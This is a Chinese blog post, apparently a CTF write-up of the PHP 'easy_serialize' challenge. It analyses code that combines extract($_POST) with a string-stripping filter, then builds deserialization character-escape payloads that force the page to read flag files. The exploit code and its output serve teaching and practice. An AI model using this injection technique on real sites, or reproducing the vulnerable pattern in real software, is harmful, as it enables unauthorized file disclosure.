easy_serialize

Itachi

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

分析

1
2
3
4
5
6
7
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
  • GET方式接收 f传参并赋给 $function
  • 定义了一个 filter()函数,它接收一个字符串并将 phpflagphp5php4f1lg字符替换为空并返回
1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
  • if语句清空 $_SESSION
  • 定义两个 $_SESSION的键值对,第二个是之前GET方式接收的 f传参
  • extract()函数将变量从数组中导入到当前的符号集中,可以用它覆盖 $_SESSION
1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
  • GET方式接收 img_path并用base64、SHA1加密再赋给 $_SESSION['img'];这里如果不传 img的时候,会自动将 guest_img.pngbase64加密并赋给 img
1
$serialize_info = filter(serialize($_SESSION));
  • $_SESSION数组序列化后的字符串用 filter()方法过滤并赋给 $serialize_info
1
2
3
4
5
6
7
8
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
  • 如果 ?f=phpinfo,就会执行 phpinfo()
  • 如果 ?f=show_img,就会将之前序列化后的 $_SESSION反序列化,再将他的 'img'的值base64解密后读入一个字符串中,最后用 echo输出

  1. 都能分析出来但没啥思路,看一下 phpinfo()
    img
    可以看到在页面底部加载了 d0g3_f1ag.php,这可能就是flag,所以当 $_SESSION['img']='d0g3_f1ag.php'的时候,可以拿到flag
  2. ?f=show_image的时候,可以拿到flag,但是要绕过

知识点

  • 字符逃逸
    在反序列化的时候,当花括号后仍有字符串,会被忽略掉
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$b = 'a:2:{s:4:"user";s:5:"guest";s:4:"flag";s:3:"asd";}qwe';
var_dump(unserialize($b));
?>

/*
array(2) {
'user' =>
string(5) "guest"
'flag' =>
string(3) "asd"
}
*/
  • 在反序列化的过程中,如果前面写的 n,就会向后面拿 n个,写个例子感受一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$b = 'a:2:{s:4:"user";s:13:"guest";s:1:"a";s:4:"flag";s:3:"asd";}';
var_dump(unserialize($b));
?>

/*
array(2) {
'user' =>
string(13) "guest";s:1:"a"
'flag' =>
string(3) "asd"
}
*/

payload

  1. 想要拿到flag,img键对应的值就应该是 d0g3_f1ag.php的base64编码后的值:ZDBnM19mMWFnLnBocA==;他的序列化后为:
1
2
3
4
5
6
<?php
$a = 'd0g3_f1ag.php';
$b = base64_encode($a);
$c['img'] = $b;
echo serialize($c);
# a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  1. 当不传 img的时候,他会自动将 guest_img.png加密后赋给 $_SESSION['img'],此时他序列化后为:
1
2
3
4
5
6
<?php
$a = 'guest_img.png';
$b = base64_encode($a);
$c['img'] = $b;
echo serialize($c);
# a:1:{s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
  1. 我们知道了传进去的一些字符串会被 filter()过滤掉、反序列化时花括号后的会被忽略、固定的个数寻找机制,可以做一些有意思的事情:
    如果 SESSION的键是 phpflag的时候,就会被过滤而造成字符空缺,使得双引号包含其后的7个字符,我们只需要在适当的位置补上双引号,就可以完美闭合。
    不难看出,我们传POST先于给 img键赋值:
    img
    我们可以构造这个字符数差,最终让花括号闭合掉 s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";},而真正的 img对应的值,是我们用POST传入的 ZDBnM19mMWFnLnBocA==

构造如下:
$_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
原本我们不传POST的序列化结果为:a:1:{s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们传的值会被序列化成:

1
2
3
4
5
<?php
$a['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
echo serialize($a);
# a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
  • 第一个键值对:“";s:48:”=>“1
  • 第二个键值对:“img”=>“ZDBnM19mMWFnLnBocA==

花括号后面的被忽略,将上述序列化后的字符串手动去掉 phpflag,反序列化看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$a = 'a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
var_dump(unserialize($a));
$b = unserialize($a);
echo base64_decode($b['img']);
/*
array(2) {
'";s:48:' =>
string(1) "1"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
}
d0g3_f1ag.php
*/

可以看到,img对应的已经成了 d0g3_f1ag.php
img
页面上没有回显,看一下源码
img
提示说flag在 /d0g3_fllllllag里,那就将此字符串加密传入 _SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},得到flag

其他解法

上面是前几天写的,可能说的不是很清楚,这里先总结一下:

1
2
3
4
5
6
7
8
extract($_POST);

$_SESSION['img'] = base64_encode('guest_img.png');

$serialize_info = filter(serialize($_SESSION));

$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

其实就是这么几句,让传一个POST;
它自动将错文件加密后赋值;
当我们GET传入相应值的时候他就对上述文件解密查看是否正确

那我们的思路就是借用 extract($_POST)传入正确的加密后文件,再利用 filter()过滤字符串的作用制造字符空缺,促成花括号闭合错误文件。

之前用的方法是过滤 phpflag,实质就是过滤 7 个字符,那我们能不能过滤八个字符?

flagflag

写道这里,大概就知道 phpflagphp5php4f1lg这五个是干嘛的了。凑字数。。。

这里凑八个字符数:

1
2
3
4
5
6
<?php
$a['flagflag'] = '";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
echo serialize($a);

# a:2:{s:8:"flagflag";s:49:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后:
第一个键值对:”";s:49:"“=>”1
第二个键值对:”img“=>”ZDBnM19mMWFnLnBocA==

手动去掉这八个字符看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = 'a:2:{s:8:"";s:49:"";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
$b = unserialize($a);
var_dump($b);
echo base64_decode($b['img']);

/*
array(2) {
'";s:49:"' =>
string(1) "1"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
}
d0g3_f1ag.php
*/

无数种解法

既然可以凑八个字符,可不可以凑11个?12个?

第八个是用引号凑得字符,那也可以写一堆引号嘛:

1
2
3
4
5
6
<?php
$a['flagflagflag'] = '""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
echo serialize($a);

# a:2:{s:12:"flagflagflag";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

手动去掉 flagflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = 'a:2:{s:12:"";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
$b = unserialize($a);
var_dump($b);
echo base64_decode($b['img']);

/*
array(2) {
'";s:53:"""""' =>
string(1) "1"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
}
d0g3_f1ag.php
*/

总结

其实说是无数种解法,实质就是一种(算了不解释了,废话太多,上面都有):

1
2
3
4
5
6
7
8
9
<?php
// $a['flagflagflag'] = '""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
// $a['img'] = 'Z3Vlc3RfaW1nLnBuZw==';
// echo serialize($a);

// $a = 'a:2:{s:12:"";s:53:"""""";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
// $b = unserialize($a);
// var_dump($b);
// echo base64_decode($b['img']);

这道题和烨师傅的ezPop一样绕绕的,但也是很牛逼的题,值得再次复现!

  • 标题: easy_serialize
  • 作者: Itachi
  • 创建于 : 2021-12-07 10:02:39
  • 更新于 : 2021-12-07 13:23:41
  • 链接: https://blog.tarchi.top/ctf/easy-serialize/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论